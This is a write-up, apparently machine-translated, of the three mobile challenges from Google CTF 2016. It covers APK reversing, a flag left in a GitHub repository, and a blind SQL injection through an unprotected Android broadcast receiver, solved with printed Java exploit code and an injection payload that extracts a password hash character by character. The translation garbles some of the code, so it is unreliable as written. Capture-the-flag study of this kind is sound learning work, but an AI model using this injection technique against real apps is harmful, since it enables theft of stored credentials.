The analysis tasks with Google CTF 2016: Mobile



Intro


Yesterday ended the first organized Google competition capture the flag — Google Capture The Flag 2016. The competition lasted two days, during which it was necessary to squeeze out the proposed task as many flags. The format of the competition task-based / jeopardy.

As stated by Google, the task for this CTF was made up of people who are members of the security team of Google. Therefore, interest to her, as to the first GCTF as a whole, was large enough — just checked in ~2500 teams, of which, however, only 900 scored at least 5 points on the decision task (omit bots and a few attempts to play fair). To participate could be anyone, from rookie and lovers of safety to legend industries. In addition, it was possible to participate alone.

Most of the 2 days I picked the job categories Mobile. In this hub presents writeup's all tasks in this category. Google has offered all 3 jobs to Mobile(others were at 5-6), but that they were perhaps even better.

Well, the water ran out, go to the point :)



the

1. Ill Intentions



Task is:

Do you have have ill intentions?
Ill Intentions.APK


On a scale of difficulty from 5 to 300, for the successful solution of this Tusk was offered 150 points.

So, we have the APK and nothing more. The first thing that comes to mind is to install the package on an emulator, and decompiling package. Let's do that.
Here and further we will not dwell on technical details, but suffice to say, what to do with decompil recently become possible with the help of a fully automated GUI tools Studio APK. It can help to automate the process of decompiling and reassembly+signature APK. It is clear that the whole "machine" is built on the same bundle apktool+dex2jar+(java Decompiler, such as jd). But I prefer the "old fashioned way" and produce decompile the APK in a semi-manual mode, aka "apktool+dex2jar+jd-gui+(set of scripts)".

Try to set "intentions" for the emulator, sneak peek the minimum version of Android SDK:



I have the emulators with the sixth principle(Marshmallow) and on 1 version below was not, so I decided to go the other way: to convert low-level Smali code into Java code(classes.dex -> JAR'nick) and from java source code to reconstruct the application. However, not everything was so sweet.

If you look at the application manifest:



there you can see 4 activity, the first of which is of no interest, and the subsequent 3 clearly show by their names that they are involved in flag. Looking at the reconstructed Java-code of any of those three you can see an interesting thing:



And the thing is that the routine for the calculation flag is partially rendered at a lower code level — the level JNI.
Well, the itching immediately to find the native C++ code, the function computeFlag() . For this we need to produce a disassembly of the native library(.so) hello-jni.
But the fact that there is(or rather what is not there) will not be happy:



IDA doesn't say a word about computeFlag() in Libe... and in the Java code but calling this function, only import.
We conclude that the guys from Google so was just being facetious =)

Going back to the idea about the reconstruction of the application(identical to create your APK). Migration of Java code and its "toreconstruct" is not a problem, but what can really create them and import the native functions. Their names were already above, here they are:

the
    the
  • Java_com_example_application_IsThistherealone_perhapsthis
  • the
  • Java_com_example_application_Definitelynotthisone_definitelynotthis


The last function speaks for itself(the banter from Google anymore) — if it is to disassemble and look, you will see that it returns a static string — "Told you so!", so immediately forget about it.

The names of the native functions contain the name of the package+name of the class from which(and only from which) they can be called in Java code — otherwise, at the stage of calling functions from high-level code will fail. Therefore, the application has to repeat exactly the names used in the original APK, and the calls to native JNI functions must come from the appropriate Java classes.

Knowing this, produced by the restoration code. Class code ThisIsTheRealOne and IsThisTheRealOne largely identical — different only routine calculation of the line(flag?) in the method click on the button onClick()(see above).
Will produce a modification of the code that handles the click adding at the end the output computed lines to the log of an Android application:

the
Log.d("CTF", i.getStringExtra("msg"));


Gathering the app, open the activity (ThisIsTheRealOne and IsThisTheRealOne) you will need to use the ADB utility AM(activity manager), because the application interface doesn't allow to do in gui mode (although this can be corrected by adding 5 lines of code, but laziness).

Here a calculated string from activity ThisIsTheRealOne:

KeepTryingThisIsNotTheActivityYouarelookingforbutherehavesomeinternetpoints!


But from IsThisTheRealOne:

Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}


Along with a flag that says that Google is bad not joking. Again the banter? :)

the

2. Can you repo it?



Task is:

Do you think the developer of the Ill Intentions knows how to set up public repositories?


On a scale of difficulty from 5 to 300, for the successful solution of this Tusk was offered only 5 points.

During the study, "bad intentions" fell by the hand of the resource file is Android application that contains the strings. There's usually a lot going on, and this time was no exception:



Immediately catches the eye flag, the frequency cryptanalysis of content which shows that it is likely the Caesar cipher. And it turned out Rot-13, but Google is messing with those who really think that even 5 points can be given so simply. Do Rot-13(Rot-13 (a)):

Did you think it would be that easy?


OK. Will have to think well. To find a public repository. Most likely, it GitHub. And in order to find its expanse flag, you need something truly unique(the name of the user or repository). Directly under the flag is just what is so "truly unique":

l33tdev42


Simple googling does not produce results that at first, somehow knocks out power... but by going to github and searching "l33tdev42" there, stumble on unique user:



Who 1 the only project with 3 commits... the project is rustic and commit three:



Within the last just need a flag:



ctf{TheHairCutTookALoadOffMyMind}


To admit, 5 points is still not enough for such a task...
It was the first task of the Mobile, which managed to get. After it seemed that in her 150 or more are in principle necesarelly tasks, but, as already mentioned, Google stebetsya :)

the

3. Little Bobby Application



Task is:

Find the vulnerability, develop an exploit, and when you're ready,
submit your APK to bottle-brush-tree.ctfcompetition.com.
Can take up to 15 minutes to return the result.

BobbyApplication_CTF.apk

The link:
Upload an APK, wait a bit for your target to load your malicious APK, and get the logs...


On a scale of difficulty from 5 to 300, for the successful solution of this Tusk was offered 250 points.

Need to find a vulnerability in the Android application to write an exploit and using that exploit to get the flag from a real user. Analysis of efficiency of the exploit happens on the emulator on the server. After an average of 13 minutes returns the application log of the exploit, in which you can write anything you want, but it is better to write the flag, of course.

Looks like Bobby is the app:



A simple form for authorization and the registration point. Well, decompil time!
Decompiling showed that the application uses Sqlite for data storage with interestingly designed table Users:



The flag says that the injection is all you need to do to get the flag.
The dynamic part of the flag — md5 from user password. This hash and you need to drag with the help of exploit in order to "collect" the ultimate flag.

Looking for vulnerability.

This process was fairly quick. The application contains only 8 of the classes and find the vulnerable module was not the problem. The vulnerability was as follows: when starting the app registers the broadcast receiver of events incoming from the outside:



Handler of incoming broadcast's were a class that inherits from BroadcastReceiver, which contained the following code:



But the implementation of the method checkLogin() from the body of the handler of the incoming and broadcast':



As you can see, no method or handler broadcast do not filter the incoming data, which is then used when generating the raw SQL query to the database.
Manual operation demonstrated that there is indeed a hole in security that allows you to modify the query through a form.

It is obvious that we have a Blind SQLi vulnerability — the method checkLogin() returns a static string independent of the input.
Nevertheless, depending on the number of selected query record(which can be controlled by exploit) we can control the behavior of this method is, sucking every malicious request 1 bit of information about any field in the DB table (and on the database itself and anything at all), but we are interested in the password field, as mentioned above, for the "build" flag.

Write an exploit.

The algorithm exploit:

    the
  1. to Run Bobby-application to ensure that it has launched a broadcast receiver events
  2. the
  3. to Generate malicious intent for receiver with "evil" data in
  4. the
  5. to Send a broadcast event with an intent that contains malicious data
  6. the
  7. to Receive the response from receiver Bobby-application of the result
  8. the
  9. Repeat until until all the required data character-by-character "sucked"


To implement an exploit, had the two classes. Code is small so it is listed below:

Main activity of exploit:

the
public class Main extends Activity {

// Find symbols throughout the table of Unicode characters
static int L = 0, R = (int)Math.pow(2,16);
public static int symbolNum = 0;

public static Main activity = null;
flag public static StringBuilder = new StringBuilder();

public static void SendBroadcast()
{ 

if(Main.symbolNum>32)
{
Main.Finish();
return;
}

// Generated by malicious intent.
// Vulnerability will occur, using binary search
int M = (L+R)/2;

MaliciousIntent Intent = new Intent();
maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT");
maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- ");
maliciousIntent.putExtra("password", "1");
activity.sendBroadcast(maliciousIntent);

}

public static void Finish()
{
// Print in log found flag
Log.d("FLAG" Main.flag.toString());
Main.activity.finish();
}

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
activity = this;

// Register the broadcast receiver events(responses) from onReceive() Bobby application
IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT");
registerReceiver(new MalReceiver(), filter);

// Run Bobby-app
// (in perfection - you have to keep in the system was the only instance)
PackageManager pm = getPackageManager();
Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication");
if (intent != null){
startActivity(intent);
}

// Wait some time until the activity along with your receiver will unfold

handler.postDelayed(new Runnable() {
@Override
public void run() {
SendBroadcast();
}
}, 2000);

}

}


Receiver response from Bobby:

the
public class MalReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context Context, Intent intent) {

// Get the response from Bobby-application
String answer = intent.getStringExtra("msg");

// SQL TO TRUE
if(answer.by comparetoignorecase("Incorrect password")==0)
{
// Search for next
Main.L = (Main.L + Main.R)/2;
}
// SQL FALSE
else{
// Search for next
Main.R = (Main.L + Main.R)/2;
}

// Found N-th character of the password hash
if(Main.R-Main.L <= 1)
{
Main.flag.append((char)Main.R);
Main.symbolNum++;
Main.L = 0; Main.R = (int)Math.pow(2,16);
}

Main.SendBroadcast();

}
}


After that, you only have to send an exploit to the server in order to test him.
In 15 minutes...

Google returns a long-awaited log, in which we find:



Left a trifling matter — to expose the flag the resulting hash is:

ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}


That's all.

Now a little about how Google made fun of those who tried to solve this task. It was quite tricky — immediately after the start of the exploit with Bobby application on the Android emulator on the server started the monkey(it was evident in the returned log), which "bombed" random actions all components of the system, which, for example, from time to time closed activity exploit. At first it was unclear what had interrupted the work of exploit — mistakes on departures in the log was not, had the impression that there is a time limit. Anyway, to successfully suck the flag was only with 3 attempts.

In the code of expoit above shows the minimum set of actions that demonstrates the overall concept.
What really happened, in practice, contains a ton of code on the protection of the monkey, the ban on starting more than 1 instance of the receiver on the side of Bobby, etc.

Outro


As I focused on mobile application security, fully appreciate the "fun" tasks from Google I barely managed, but based on the fact that I had to overcome, I can say that the GCTF is pretty interesting, and largely interest secured numerous attempts of mockery of the participants. In those moments when you realize that over you again "postebatsya", feel the rush of some "black" motivation =)

Thank you, Google, it was interesting ;)
Article based on information from habrahabr.ru

Комментарии

Популярные сообщения из этого блога

Integration of PostgreSQL with MS SQL Server for those who want faster and deeper

Custom database queries in MODx Revolution

Google Web Mercator: a mixed coordinate system